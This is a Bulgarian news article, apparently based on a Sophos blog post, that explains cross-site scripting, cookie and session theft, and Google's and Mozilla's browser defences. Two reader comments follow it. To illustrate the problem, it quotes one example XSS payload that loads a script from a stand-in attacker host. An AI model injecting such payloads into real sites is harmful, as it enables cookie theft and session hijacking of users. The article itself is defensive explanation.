Дойде ли най-сетне краят на XSS заплахите?

Google и Mozilla са се заловили да направят промени в своите браузери, чрез които да се ограничат атаките чрез т. нар. cross-site scriting – една от най-големите заплахи за съвременните уеб-потребители. В нова публикация на блога на Sophos, една от най-големите фирми за интернет сигурност, вчера бе представен обстоен анализ на инициативите на Google и Mozilla. Ако сте активен участник в дебата за предимствата и недостатъците на различните браузери, или ако просто имате мнение кой от тях е по-добър, навярно същността на този анализ ще ви е интересен.

Какво е XSS

Посетете която и да е страница на който и да е уебсайт – без да се усетите, вашият браузер ще “засмуче” съдържание и от други сайтове – новини от разни източници, оферти от всевъзможни доставчици и т.н. Това съдържание, генерирано от трети страни, най-често се появява посредством скриптов код, например JavaScript, и по този начин “влиза” в сайта, който гледате. Скрипт, който от един сайт достига до друг и влиза в него, е известен като нарича крос-сайтов скрипт (XSS), обяснява Пол Дъклин от Sophos.

Това, което е по-важно в случая, е че скриптовете в една уеб-страница могат да задействат заявки, които да касаят информация за клиента, т.е. за този, който седи пред компютъра без нищо да подозира. Тази информация включва данните на т. нар. “cookies”, използвани към дадения момент от уебсайта, който човекът гледа.

“Cookies” са нужни на протокола HTTP, за да може да показва правилните страници. Когато човек сърфира в интернет, той не се логва на HTTP сървър и не пише редове с команди към него, както става при работа с FTP или SSH. Вместо това всяка заявка е сама за себе си.

“Cookies”, които се пренасят чрез хедърите на HTTP заявките и съответните отговори, са “лепилото”, чрез което един уеб-сървър свързва поредица от заявки, които иначе изглеждат напълно независими една от друга. Именно тези “cookies” са ключето, благодарение на коeто naprimer Google помни вашите настройки за търсене, без значение колко нови търсения правите последователно, или благоадрение на които вашата електронна поща запомня, че сте се логнали, за да ви показва личните ви съобщения.

Сайтове, които се посещават поотделно, не могат да си разменят въпроснте “cookies” чрез скриптовете. Ала скриптове, които са вкарани от един сайт в друг, невидимо получават оторизация за достъп до тези лични данни. Тоест, ако можете да промъкнете един неоторизиран скрипт в нечия уеб-страница, можете да откраднете данните на всички “cookies” за този сайт, включитено и информация за автентикация за текущата сесия. Можете дори да направите отвличане на сесията.

Сайтовете, които могат да бъдат компрометирани чрез вкарването на злонамерени скритови тагове от други сайтове, имат cross-site scripting (XSS) узязвимост.

Има два вида XSS оръжия

Едните са статични, постоянни. Както подсказва името им, при тях неоторизираните тагове се съхраняват постоянно на уеб-съръра на жертвата – примерно, използва се SQL инжектиране, за да се заразят определени полета в базата данни. Оттам нататък всеки, който посещава сайта, може да е изложен на опасност. Вторият вид атаки, които са непостоянни и се наричат още “рефлективни”, са доста по-проклети и са трудни за засичане и елиминиране. При тях неоторизираните скриптови тагове не съществуват на засегнатия уеб-сървър. Не можете да ги търсите из базата данни или файловете. Рефлективните XSS атаки се възползват от слаби техники за валидиране на входящото съдържание в сървъра. Те го лъжат така, че да го накарат да приеме злонамерените редове и после сляпо да ги праща като част от отговора, който подава към браузера.

Може да се каже, че този вид атака е възможна затова, защото HTML работи чрез специални символи, за да показва обектите. Ако просто напишете script в една уеб-страница това, което браузерът ще покаже, е script. Ако обаче напишете същото със счупени скоби, т.е. <script>, вашият браузер ще изтълкува това като команда да изпълнява скрипт. Най-накрая, ако искаме браузерът да покаже <script>, но да не го тълкува като команда, трябва да кодираме внимателно знаците, добавяйки специални символи вместо счупените скоби, ето така: &lt;script&gt;

Ако в полето на една търсачка някой напише например <script src=http://dodgy.example/xss.js></script>, то търсачката не бива да възприема текста в счупените скоби като команда, а да замени счупените скоби с &lt; и с &gt; и така да покаже резултатите. Ако обаче става дума за вашия сървър и той е настроен така, че сляпо да препредава текст, то всеки злонамерен хитрец може да изпълни крос-сайтов скрипт срещу вашия сайт чрез…. най-обикновено търсене.

За беда “почистването” на подавания отвън текст така, че да бъде показан на крайния потребител по безопасен начин, е сложна задача. Затова много сървъри са уязвими за XSS атаки. Това може да се използва са разпространение на червеи чрез социални мрежи като Facebook и Twitter, за фишинг, за нежелани popup прозорци с какво ли не съдържание.

Усилията на Mozilla и Google

В момента Mozilla и Google работят по нови функции в браузерите, чрез които да намалят рисковете от XSS атаки. Двата подхода са различни и интерсни.

Идеята на Google е, че браузерът трябва да “заклейми” всяка уеб-страница, съдържаща скриптови тагове, които се явяват и в HTTP заявката за тази страница. Ако все пак уеб-заявката съдържа текст, който се явява HTML таг, той трябва да бъде “хигинизиран” в огговора. Тагове, които се явяват и в заявката, и в отговора, най-вероятно са рефлективна XSS атака и трябва да се блокират.

Mozilla дефинира набор от HTTP хедъри, чрез които уеб-специалистите да специфицират максималните параметри на поведението, което очакват от своите уеб-страници. Браузерите, които разбират тези хедъри, автоматично ще блокират поведението извън дефинираните параметри. Тоест ако използвате крос-сайтови скриптове, но само за точно определени трети страни, примерно за Google Analytics, можете да информирате браузера, така че да блокира всякакви други XSS заявки.

Подходът на Google е насочен към рефлективните XSS уязвимости, но е автоматризиран и не изисква от уеб-специалисите да добавят каквито и да е специфични HTTP хедъри. Mozilla пък прилага подход, който зависи от личното усмотрение и ще сработва само в случаи, когато някой е положил извънредното усилие точно да маркира HTTP хедърите, но има начин уеб-специалистите да се защитят и от рефлективни, и от постоянни XSS атаки.

Тези два подхода надали скоро ще сложат края на popup порното, Facebook червеите и крос-сайт фишинга. Но те при всички положения заслужават сърдечни аплодисменти, смята анализаторът от Sophos Пол Дъклин. Особено това важи в контекста на все по-популярните “облачни” услуги.

Коментари по темата: „Дойде ли най-сетне краят на XSS заплахите?”

добавете коментар...

  1. any

    Хайде по-често такива статии, супер.

  2. RTFM

    О я стига само аз ли си спомням как преди години се говореше за спирането на XSS(cross-site scriting). До днес никакъв ефект не вярвам че и тези методи ще го изкоренят напълно + това XSS уязвимости се срещат навсякъде. Дори във вашият сайт ги има,така че… какво остава за по-големи фирми и корпорации чиито сайтове са много по-големи и често недобре защитени.XSS e подценяван проблем сред web admin-ите,затова не вярвам някой да се отнесе сериозно към този вид атаки които не са безобидни,но все пак често особено при Session Hijacking-a (чрез XSS) се налага Social Engineering и админите мислят че няма как някой да е толкова глупав за да се хване и накрая остават изненадани колко много хора има които се хващат на този иначе елегантно прост метод.

Коментар